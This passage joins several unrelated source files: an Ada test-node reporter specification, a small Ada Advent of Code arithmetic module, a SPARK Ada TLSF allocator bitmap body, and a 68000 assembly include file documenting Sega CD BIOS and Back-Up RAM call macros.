First_K, Last_K : Test_Node_Class.Test_Routine_Count);
overriding
procedure Report_Failed_Test_Routine_Access
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count;
E : Exception_Occurrence);
overriding
procedure Report_Failed_Test_Routine_Setup
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count;
E : Exception_Occurrence);
overriding
procedure Report_Passed_Test_Assert
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count;
Assert_Num_Avail : Boolean;
Assert_Num : Test_Node_Class.Test_Assert_Count);
overriding
procedure Report_Failed_Test_Assert
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count;
Assert_Num_Avail : Boolean;
Assert_Num : Test_Node_Class.Test_Assert_Count;
E : Exception_Occurrence);
overriding
procedure Report_Unexpected_Routine_Exception
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count;
E : Exception_Occurrence);
overriding
procedure Report_Passed_Test_Routine
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count);
overriding
procedure Report_Failed_Test_Routine
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count);
overriding
procedure Report_Passed_Node_Run (Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Failed_Node_Run (Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
----------------------------------------------------------------------------
private
type Test_Reporter_W_Barrier is limited new Test_Reporter_Stub with record
C_D_T : Controlled_Debug_Tracer (0) := Create_N ("");
Barrier : Test_Node_Barrier_Access;
Char_Name_Image : Char_Name_Image_Func;
Tag_To_Char : Tag_To_Char_Func;
end record;
not overriding
function Arriv_To_Cross_Message (Obj : Test_Reporter_W_Barrier;
Operation_Name : String;
Node_Tag : Tag) return String;
end Apsepp_Test_Node_Barrier;
|
day18-ada/src/operation.adb | xclemence/adventofcode2020 | 1 | 23915 | <filename>day18-ada/src/operation.adb
package body Operation is
function Add (Left: NaturalDouble;
Right: NaturalDouble) return NaturalDouble is
begin
return Left + Right;
end Add;
function Multiple (Left: NaturalDouble;
Right: NaturalDouble) return NaturalDouble is
begin
return Left * Right;
end Multiple;
end Operation;
|
tlsf/src/old/tlsf-bitmaps.adb | vasil-sd/ada-tlsf | 3 | 26032 | <reponame>vasil-sd/ada-tlsf<filename>tlsf/src/old/tlsf-bitmaps.adb
with TLSF.Config;
with TLSF.Mem_Block_Size;
use TLSF.Mem_Block_Size;
use TLSF.Config;
package body TLSF.Bitmaps
with SPARK_Mode is
procedure Mapping_Insert
(V : Size;
FL : out First_Level_Index;
SL : out Second_Level_Index)
is
First_Bit : Bit_Pos;
Second_Level_Bits : Size;
begin
First_Bit := MSB_Index (V);
pragma Assert (First_Bit >= SL_Index_Count_Log2);
Second_Level_Bits := Extract_Bits(V,
First_Bit - SL_Index_Count_Log2,
First_Bit - 1);
FL := First_Level_Index (First_Bit);
SL := Second_Level_Index (Second_Level_Bits);
end Mapping_Insert;
procedure Mapping_Search
(V : in out Size;
FL : out First_Level_Index;
SL : out Second_Level_Index)
is
First_Bit : Bit_Pos;
begin
First_Bit := MSB_Index (V) - 1;
V := V + (2 ** (First_Bit - SL_Index_Count_Log2)) - 1;
Mapping_Insert (V, FL, SL);
end Mapping_Search;
procedure Search_Present
(bmp : Levels_Bitmap;
FL : in out First_Level_Index;
SL : in out Second_Level_Index)
is
SL_From : Second_Level_Index := SL;
FL_bitmap : First_Level_Map renames bmp.First_Level;
SL_bitmap : Second_Levels_Map renames bmp.Second_Levels;
begin
fl_idx_loop :
for fl_idx in FL .. First_Level_Index'Last loop
if FL_bitmap (fl_idx) = Present then
for sl_idx in SL_From .. Second_Level_Index'Last loop
if SL_bitmap (fl_idx) (sl_idx) = Present then
FL := fl_idx;
SL := sl_idx;
exit fl_idx_loop;
end if;
end loop;
end if;
SL_From := Second_Level_Index'First;
end loop fl_idx_loop;
end Search_Present;
procedure Set_Present
(bmp : in out Levels_Bitmap;
FL : First_Level_Index;
SL : Second_Level_Index)
is
begin
bmp.Second_Levels (FL) (SL) := Present;
bmp.First_Level (FL) := Present;
end Set_Present;
function Second_Levels_Empty
(Bmp : Levels_Bitmap;
FL : First_Level_Index)
return Boolean
is
(for all sl_idx in Second_Level_Index'Range =>
Bmp.Second_Levels (FL) (sl_idx) = Not_Present);
procedure Set_Not_Present
(Bmp : in out Levels_Bitmap;
FL : First_Level_Index;
SL : Second_Level_Index)
is
begin
Bmp.Second_Levels (FL) (SL) := Not_Present;
Bmp.First_Level (FL) := (if Second_Levels_Empty (Bmp, FL)
then Not_Present
else Present);
end Set_Not_Present;
function Free_Blocks_Present
(Bmp : Levels_Bitmap;
FL : First_Level_Index;
SL : Second_Level_Index)
return Boolean is
begin
return Bmp.Second_Levels(FL) (SL) = Present;
end Free_Blocks_Present;
procedure Init_Bitmap ( Bmp : out Levels_Bitmap) is
begin
Bmp := Levels_Bitmap'(First_Level => (others => Not_Present),
Second_Levels => (others => (others => Not_Present)));
end Init_Bitmap;
end TLSF.Bitmaps;
|
sgdk/skeleton/scd/LukeProjectCD/_boot/_inc/cdbios.asm | nehalem501/gendev | 212 | 81351 | <reponame>nehalem501/gendev
MSCSTOP EQU $0002
MSCPAUSEON EQU $0003
MSCPAUSEOFF EQU $0004
MSCSCANFF EQU $0005
MSCSCANFR EQU $0006
MSCSCANOFF EQU $0007
ROMPAUSEON EQU $0008
ROMPAUSEOFF EQU $0009
DRVOPEN EQU $000A
DRVINIT EQU $0010
MSCPLAY EQU $0011
MSCPLAY1 EQU $0012
MSCPLAYR EQU $0013
MSCPLAYT EQU $0014
MSCSEEK EQU $0015
MSCSEEKT EQU $0016
ROMREAD EQU $0017
ROMSEEK EQU $0018
MSCSEEK1 EQU $0019
TESTENTRY EQU $001E
TESTENTRYLOOP EQU $001F
ROMREADN EQU $0020
ROMREADE EQU $0021
CDBCHK EQU $0080
CDBSTAT EQU $0081
CDBTOCWRITE EQU $0082
CDBTOCREAD EQU $0083
CDBPAUSE EQU $0084
FDRSET EQU $0085
FDRCHG EQU $0086
CDCSTART EQU $0087
CDCSTARTP EQU $0088
CDCSTOP EQU $0089
CDCSTAT EQU $008A
CDCREAD EQU $008B
CDCTRN EQU $008C
CDCACK EQU $008D
SCDINIT EQU $008E
SCDSTART EQU $008F
SCDSTOP EQU $0090
SCDSTAT EQU $0091
SCDREAD EQU $0092
SCDPQ EQU $0093
SCDPQL EQU $0094
LEDSET EQU $0095
CDCSETMODE EQU $0096
WONDERREQ EQU $0097
WONDERCHK EQU $0098
CBTINIT EQU $0000
CBTINT EQU $0001
CBTOPENDISC EQU $0002
CBTOPENSTAT EQU $0003
CBTCHKDISC EQU $0004
CBTCHKSTAT EQU $0005
CBTIPDISC EQU $0006
CBTIPSTAT EQU $0007
CBTSPDISC EQU $0008
CBTSPSTAT EQU $0009
BRMINIT EQU $0000
BRMSTAT EQU $0001
BRMSERCH EQU $0002
BRMREAD EQU $0003
BRMWRITE EQU $0004
BRMDEL EQU $0005
BRMFORMAT EQU $0006
BRMDIR EQU $0007
BRMVERIFY EQU $0008
;-----------------------------------------------------------------------
; BIOS ENTRY POINTS
;-----------------------------------------------------------------------
_ADRERR EQU $00005F40
_BOOTSTAT EQU $00005EA0
_BURAM EQU $00005F16
_CDBIOS EQU $00005F22
_CDBOOT EQU $00005F1C
_CDSTAT EQU $00005E80
_CHKERR EQU $00005F52
_CODERR EQU $00005F46
_DEVERR EQU $00005F4C
_LEVEL1 EQU $00005F76
_LEVEL2 EQU $00005F7C
_LEVEL3 EQU $00005F82 ;TIMER INTERRUPT
_LEVEL4 EQU $00005F88
_LEVEL5 EQU $00005F8E
_LEVEL6 EQU $00005F94
_LEVEL7 EQU $00005F9A
_NOCOD0 EQU $00005F6A
_NOCOD1 EQU $00005F70
_SETJMPTBL EQU $00005F0A
_SPVERR EQU $00005F5E
_TRACE EQU $00005F64
_TRAP00 EQU $00005FA0
_TRAP01 EQU $00005FA6
_TRAP02 EQU $00005FAC
_TRAP03 EQU $00005FB2
_TRAP04 EQU $00005FB8
_TRAP05 EQU $00005FBE
_TRAP06 EQU $00005FC4
_TRAP07 EQU $00005FCA
_TRAP08 EQU $00005FD0
_TRAP09 EQU $00005FD6
_TRAP10 EQU $00005FDC
_TRAP11 EQU $00005FE2
_TRAP12 EQU $00005FE8
_TRAP13 EQU $00005FEE
_TRAP14 EQU $00005FF4
_TRAP15 EQU $00005FFA
_TRPERR EQU $00005F58
_USERCALL0 EQU $00005F28 ;INIT
_USERCALL1 EQU $00005F2E ;MAIN
_USERCALL2 EQU $00005F34 ;VINT
_USERCALL3 EQU $00005F3A ;NOT DEFINED
_USERMODE EQU $00005EA6
_WAITVSYNC EQU $00005F10
;-----------------------------------------------------------------------
; CDBIOS - Calls the BIOS with a specified function number. Assumes
; that all preparatory and cleanup work is done externally.
;
; input:
; fcode BIOS function code
;
; returns:
; nothing
;-----------------------------------------------------------------------
;CDBIOS macro fcode
; move.w \fcode,d0
; jsr _CDBIOS
; endm
;-----------------------------------------------------------------------
; BURAM - Calls the Backup Ram with a specified function number.
; Assumes that all preparatory and cleanup work is done externally.
;
; input:
; fcode Backup Ram function code
;
; returns:
; nothing
;-----------------------------------------------------------------------
;BURAM macro fcode
; move.w \fcode,d0
; jsr _BURAM
; endm
;-----------------------------------------------------------------------
; DRIVE MECHANISM
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_DRVINIT - Closes the disk tray and reads the TOC from the CD.
; Pauses for 2 seconds after reading the TOC. If bit 7 of the TOC track
; is set, the BIOS starts playing the first track automatically. Waits
; for a DRVOPEN request if there is no disk in the drive.
;
; input:
; a0.l address of initialization parameters:
; dc.b $01 ; Track # to read TOC from (normally $01)
; dc.b $FF ; Last track # ($FF = read all tracks)
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_DRVINIT macro
move.w #DRVINIT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_DRVOPEN - Opens the drive.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_DRVOPEN macro
move.w #DRVOPEN,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; MUSIC
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_MSCSTOP - Stops playing a track if it's currently playing.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSTOP macro
move.w #MSCSTOP,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCPLAY - Starts playing at a specified track. Continues playing
; through subsequent tracks.
;
; input:
; a0.l address of 16 bit track number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCPLAY macro
move.w #MSCPLAY,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCPLAY1 - Plays a track once and pauses.
;
; input:
; a0.l address of a 16 bit track number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCPLAY1 macro
move.w #MSCPLAY1,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCPLAYR - Plays the designated track repeatedly.
;
; input:
; a0.l address of a 16 bit track number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCPLAYR macro
move.w #MSCPLAYR,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCPLAYT - Starts playing from a specified time.
;
; input:
; a0.l address of a 32 bit BCD time code in the format mm:ss:ff:00
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCPLAYT macro
move.w #MSCPLAYT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCSEEK - Seeks to the beginning of the selected track and pauses.
;
; input:
; a0.l address of a 16 bit track number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSEEK macro
move.w #MSCSEEK,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCSEEK1 - Seeks to the beginning of the selected track and pauses.
; Once the BIOS detects a pause state, it plays the track once.
;
; input:
; a0.l address of a 16 bit track number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSEEK1 macro
move.w #MSCSEEK1,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCSEEKT - Seeks to a specified time.
;
; input:
; a0.l address of a 32 bit BCD time code in the format mm:ss:ff:00
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSEEKT macro
move.w #MSCSEEKT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCPAUSEON - Pauses the drive when a track is playing. If the
; drive is left paused it will stop after a programmable delay (see
; CDBPAUSE).
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCPAUSEON macro
move.w #MSCPAUSEON,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCPAUSEOFF - Resumes playing a track after a pause. If the drive
; has timed out and stopped, the BIOS will seek to the pause time (with
; the attendant delay) and resume playing.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCPAUSEOFF macro
move.w #MSCPAUSEOFF,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCSCANFF - Starts playing from the current position in fast
; forward.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSCANFF macro
move.w #MSCSCANFF,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCSCANFR - Same as MSCSCANFF, but backwards.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSCANFR macro
move.w #MSCSCANFR,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_MSCSCANOFF - Returns to normal play mode. If the drive was
; paused before the scan was initiated, it will be returned to pause.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_MSCSCANOFF macro
move.w #MSCSCANOFF,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; CD-ROM
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_ROMREAD - Begins reading data from the CDROM at the designated
; logical sector. Executes a CDCSTART to begin the read, but doesn't
; stop automatically.
;
; Note - ROMREAD actually pre-seeks by 2 sectors, but doesn't start
; passing data to the CDC until the desired sector is reached.
;
; input:
; a0.l address of a 32 bit logical sector number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_ROMREAD macro
move.w #ROMREAD,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_ROMREADN - Same as ROMREAD, but stops after reading the requested
; number of sectors.
;
; input:
; a0.l address of a 32 bit sector number and 32 bit sector count
; dc.l $00000001 ; First sector to read
; dc.l $00001234 ; Number of sectors to read
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_ROMREADN macro
move.w #ROMREADN,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_ROMREADE - Same as ROMREAD, but reads between two logical sectors.
;
; input:
; a0.l address of table of 32 bit logical sector numbers
; dc.l $00000001 ; First sector to read
; dc.l $00000123 ; Last sector to read
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_ROMREADE macro
move.w #ROMREADE,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_ROMSEEK - Seeks to the designated logical sector and pauses.
;
; input:
; a0.l address of a 32 bit logical sector number
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_ROMSEEK macro
move.w #ROMSEEK,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_ROMPAUSEON - Stops reading data into the CDC and pauses.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_ROMPAUSEON macro
move.w #ROMPAUSEON,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_ROMPAUSEOFF - Resumes reading data into the CDC from the current
; logical sector.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_ROMPAUSEOFF macro
move.w #ROMPAUSEOFF,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; MISC BIOS FUNCTIONS
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_CDBCHK - Querys the BIOS on the status of the last command.
; Returns success if the command has been executed, not if it's complete.
; This means that CDBCHK will return success on a seek command once the
; seek has started, NOT when the seek is actually finished.
;
; input:
; none
;
; returns:
; cc Command has been executed
; cs BIOS is busy
;-----------------------------------------------------------------------
BIOS_CDBCHK macro
move.w #CDBCHK,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDBSTAT
;
; input:
; none
;
; returns:
; a0.l address of BIOS status table
;-----------------------------------------------------------------------
BIOS_CDBSTAT macro
move.w #CDBSTAT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDBTOCREAD - Gets the time for the specified track from the TOC.
; If the track isn't in the TOC, the BIOS will either return the time of
; the last track read or the beginning of the disk. Don't call this
; function while the BIOS is loading the TOC (see DRVINIT).
;
; input:
; d1.w 16 bit track number
;
; returns:
; d0.l BCD time of requested track in mm:ss:ff:## format where ## is
; the requested track number or 00 if there was an error
;
; d1.b Track type:
; $00 = CD-DA track
; $FF = CD-ROM track
;-----------------------------------------------------------------------
BIOS_CDBTOCREAD macro
move.w #CDBTOCREAD,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDBTOCWRITE - Writes data to the TOC in memory. Don't write to
; the TOC while the BIOS is performing a DRVINIT.
;
; input:
; a0.l address of a table of TOC entries to write to the TOC. Format
; of the entries is mm:ss:ff:## where ## is the track number.
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_CDBTOCWRITE macro
move.w #CDBTOCWRITE,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDBPAUSE - Sets the delay time before the BIOS switches from
; pause to standby. Normal ranges for this delay time are $1194 - $FFFE.
; A delay of $FFFF prevents the drive from stopping, but can damage the
; drive if used improperly.
;
; input:
; d1.w 16 bit delay time
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_CDBPAUSE macro
move.w #CDBPAUSE,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; FADER
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_FDRSET - Sets the audio volume. If bit 15 of the volume parameter
; is 1, sets the master volume level. There's a delay of up to 13ms
; before the volume begins to change and another 23ms for the new volume
; level to take effect. The master volume sets a maximum level which the
; volume level can't exceed.
;
; input:
; d1.w 16 bit volume ($0000 = min $0400 = max)
; 16 bit master volume ($8000 = min $8400 = max)
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_FDRSET macro
move.w #FDRSET,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_FDRCHG - Ramps the audio volume from its current level to a new
; level at the requested rate. As in FDRSET, there's a delay of up to
; 13ms before the change starts.
;
; input:
; d1.l 32 bit volume change
; high word: new 16 bit volume ($0000 = min $0400 = max)
; low word: 16 bit rate in steps/vblank
; $0001 = slow
; $0200 = fast
; $0400 = set immediately
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_FDRCHG macro
move.w #FDRCHG,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; CDC
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_CDCSTART - Starts reading data from the current logical sector
; into the CDC. The BIOS pre-seeks by 2 to 4 sectors and data read
; actually begins before the requested sector. It's up to the caller
; to identify the correct starting sector (usually by checking the time
; codes in the headers as they're read from the CDC buffer).
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_CDCSTART macro
move.w #CDCSTART,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDCSTOP - Stops reading data into the CDC. If a sector is being
; read when CDCSTOP is called, it's lost.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_CDCSTOP macro
move.w #CDCSTOP,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDCSTAT - Queries the CDC buffer. If no sector is ready for
; read, the carry bit will be set. Up to 5 sectors can be buffered in
; the CDC buffer.
;
; input:
; none
;
; returns:
; cc Sector available for read
; cs No sectors available
;-----------------------------------------------------------------------
BIOS_CDCSTAT macro
move.w #CDCSTAT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDCREAD - If a sector is ready in the CDC buffer, the BIOS
; prepares to send the sector to the current device destination. Make
; sure to set the device destination BEFORE calling CDCREAD. If a
; sector is ready, the carry bit will be cleared on return and it's
; necessary to respond with a call to CDCACK.
;
; input:
; none
;
; returns:
; cc Sector ready for transfer
; d0.l Sector header in BCD mm:ss:ff:md format where md is sector mode
; $00 = CD-DA
; $01 = CD-ROM mode 1
; $02 = CD-ROM mode 2
; cs Sector not ready
;-----------------------------------------------------------------------
BIOS_CDCREAD macro
move.w #CDCREAD,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDCTRN - Uses the Sub-CPU to read one sector into RAM. The
; device destination must be set to SUB-CPU read before calling CDCTRN.
;
; input:
; a0.l address of sector destination buffer (at least 2336 bytes)
; a1.l address of header destination buffer (at least 4 bytes)
;
; returns:
; cc Sector successfully transferred
; cs Transfer failed
; a0.l Next sector destination address (a0 + 2336)
; a1.l Next header destination address (a1 + 4)
;-----------------------------------------------------------------------
BIOS_CDCTRN macro
move.w #CDCTRN,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDCACK - Informs the CDC that the current sector has been read
; and the caller is ready for the next sector.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_CDCACK macro
move.w #CDCACK,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_CDCSETMODE - Tells the BIOS which mode to read the CD in. Accepts
; bit flags that allow selection of the three basic CD modes as follows:
;
; Mode 0 (CD-DA) 2
; Mode 1 (CD-ROM with full error correction) 0
; Mode 2 (CD-ROM with CRC only) 1
;
; input:
; d1.w FEDCBA9876543210
; ||||
; |||+--> CD Mode 2
; ||+---> CD-DA mode
; |+----> transfer error block with data
; +-----> re-read last data
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_CDCSETMODE macro
move.w #CDCSETMODE,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; SUBCODES
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_SCDINIT - Initializes the BIOS for subcode reads.
;
; input:
; a0.l address of scratch buffer (at least $750 long)
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_SCDINIT macro
move.w #SCDINIT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_SCDSTART - Enables reading of subcode data by the CDC.
;
; input:
; d1.w Subcode processing mode
; 0 = --------
; 1 = --RSTUVW
; 2 = PQ------
; 3 = PQRSTUVW
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_SCDSTART macro
move.w #SCDSTART,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_SCDSTOP - Disables reading of subcode data by the CDC.
;
; input:
; none
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_SCDSTOP macro
move.w #SCDSTOP,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_SCDSTAT - Checks subcode error status.
;
; input:
; none
;
; returns:
; d0.l errqcodecrc / errpackcirc / scdflag / restrcnt
; d1.l erroverrun / errpacketbufful / errqcodefufful / errpackfufful
;-----------------------------------------------------------------------
BIOS_SCDSTAT macro
move.w #SCDSTAT,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_SCDREAD - Reads R through W subcode channels.
;
; input:
; a0.l address of subcode buffer (24 bytes minimum)
;
; returns:
; cc Read successful
; cs Read failed
; a0.l address of next subcode buffer (a0.l + 24)
;-----------------------------------------------------------------------
BIOS_SCDREAD macro
move.w #SCDREAD,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_SCDPQ - Gets P & Q codes from subcode.
;
; input:
; a0.l address of Q code buffer (12 bytes minimum)
;
; returns:
; cc Read successful
; cs Read failed
; a0.l address of next Q code buffer (a0.l + 12)
;-----------------------------------------------------------------------
BIOS_SCDPQ macro
move.w #SCDPQ,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; BIOS_SCDPQL - Gets the last P & Q codes.
;
; input:
; a0.l address of Q code buffer (12 bytes minimum)
;
; returns:
; cc Read successful
; cs Read failed
; a0.l address of next Q code buffer (a0.l + 12)
;-----------------------------------------------------------------------
BIOS_SCDPQL macro
move.w #SCDPQL,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; FRONT PANEL LEDS
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_LEDSET - Controls the Ready and Access LED's on the front panel
; of the CD unit.
;
; input:
; d1.w MODE Ready (green) Access (red) System Indication
; ---------------------------------------------------------------
; off off only at reset
; LEDREADY (0) on blink CD ready / no disk
; LEDDISCIN (1) on off CD ready / disk ok
; LEDACCESS (2) on on CD accessing
; LEDSTANDBY (3) blink off standby mode
; LEDERROR (4) blink blink reserved
; LEDMODE5 (5) blink on reserved
; LEDMODE6 (6) off blink reserved
; LEDMODE7 (7) off on reserved
; LEDSYSTEM (?) rtn ctrl to BIOS
;
; returns:
; nothing
;-----------------------------------------------------------------------
BIOS_LEDSET macro
move.w #LEDSET,d0
jsr _CDBIOS
endm
;-----------------------------------------------------------------------
; Back-Up RAM
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
; NOTE: The backup ram on the super target devlopment systems is write
; protected if the production Boot Rom is being used. A
; Development Boot Rom must be obtained before the backup ram can
; be used.
;
; The name of the save game files must be registered with SOJ before
; a game can be shipped.
;
; Please make sure to read the CD Software Standards section in the
; manual. There is a section on backup ram standards that must be
; followed.
;
; For a full description of each Back-Up Ram function, see the BIOS
; section of the CD manual.
;
; Some of the Back-Up RAM functions require a string buffer to
; be passed into the function. Some of these functions return
; 0 terminated text strings.
;-------------------------------------------------------------------------
;-----------------------------------------------------------------------
; BIOS_BRMINIT - Prepares to write into and read from Back-Up Ram.
;
; input:
; a0.l pointer to scratch ram (size $640 bytes).
;
; a1.l pointer to the buffer for display strings (size: 12 bytes)
;
; returns:
; cc SEGA formatted RAM is present
; cs Not formatted or no RAM
; d0.w size of backup RAM $2(000) ~ $100(000) bytes
; d1.w 0 : No RAM
; 1 : Not Formatted
; 2 : Other Format
; a1.l pointer to display strings
;-----------------------------------------------------------------------
BIOS_BRMINIT macro
move.w #BRMINIT,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMSTAT - Returns how much Back-Up RAM has been used.
;
; input:
; a1.l pointer to display string buffer (size: 12 bytes)
;
; returns:
; d0.w number of blocks of free area
; d1.w number of files in directory
;-----------------------------------------------------------------------
BIOS_BRMSTAT macro
move.w #BRMSTAT,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMSERCH - Searches for the desired file in Back-Up Ram. The file
; names are 11 ASCII characters terminated with a 0.
;
; input:
; a0.l pointer to parameter (file name) table
; file name = 11 ASCII chars [0~9 A~Z_] 0 terminated
;
; returns:
; cc file name found
; cs file name not found
; d0.w number of blocks
; d1.b MODE
; 0 : normal
; -1 : data protected (with protect function)
; a0.l backup ram start address for search
;-----------------------------------------------------------------------
BIOS_BRMSERCH macro
move.w #BRMSERCH,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMREAD - reads data from Back-Up RAM.
;
; input:
; a0.l pointer to parameter (file name) table
; a1.l pointer to write buffer
;
; returns:
; cc Read Okay
; cs Error
; d0.w number of blocks
; d1.b MODE
; 0 : normal
; -1 : data protected
;-----------------------------------------------------------------------
BIOS_BRMREAD macro
move.w #BRMREAD,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMWRITE - Writes data in Back-Up RAM.
;
; input:
; a0.l pointer to parameter (file name) table
; flag.b $00: normal
; $FF: encoded (with protect function)
; block_size.w $00: 1 block = $40 bytes
; $FF: 1 block = $20 bytes
; a1.l pointer to save data
;
; returns:
; cc Okay, complete
; cs Error, cannot write in the file
;-----------------------------------------------------------------------
BIOS_BRMWRITE macro
move.w #BRMWRITE,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMDEL - Deletes data on Back-Up Ram.
;
; input:
; a0.l pointer to parameter (file name) table
;
; returns:
; cc deleted
; cs not found
;-----------------------------------------------------------------------
BIOS_BRMDEL macro
move.w #BRMDEL,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMFORMAT - First initializes the directory and then formats the
; Back-Up RAM
;
; Call BIOS_BRMINIT before calling this function
;
; input:
; none
;
; returns:
; cc Okay, formatted
; cs Error, cannot format
;-----------------------------------------------------------------------
BIOS_BRMFORMAT macro
move.w #BRMFORMAT,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMDIR - Reads directory
;
; input:
; d1.l H: number of files to skip when all files cannot be read in one try
; L: size of directory buffer (# of files that can be read in the
; directory buffer)
; a0.l pointer to parameter (file name) table
; a1.l pointer to directory buffer
;
; returns:
; cc Okay, complete
; cs Full, too much to read into directory buffer
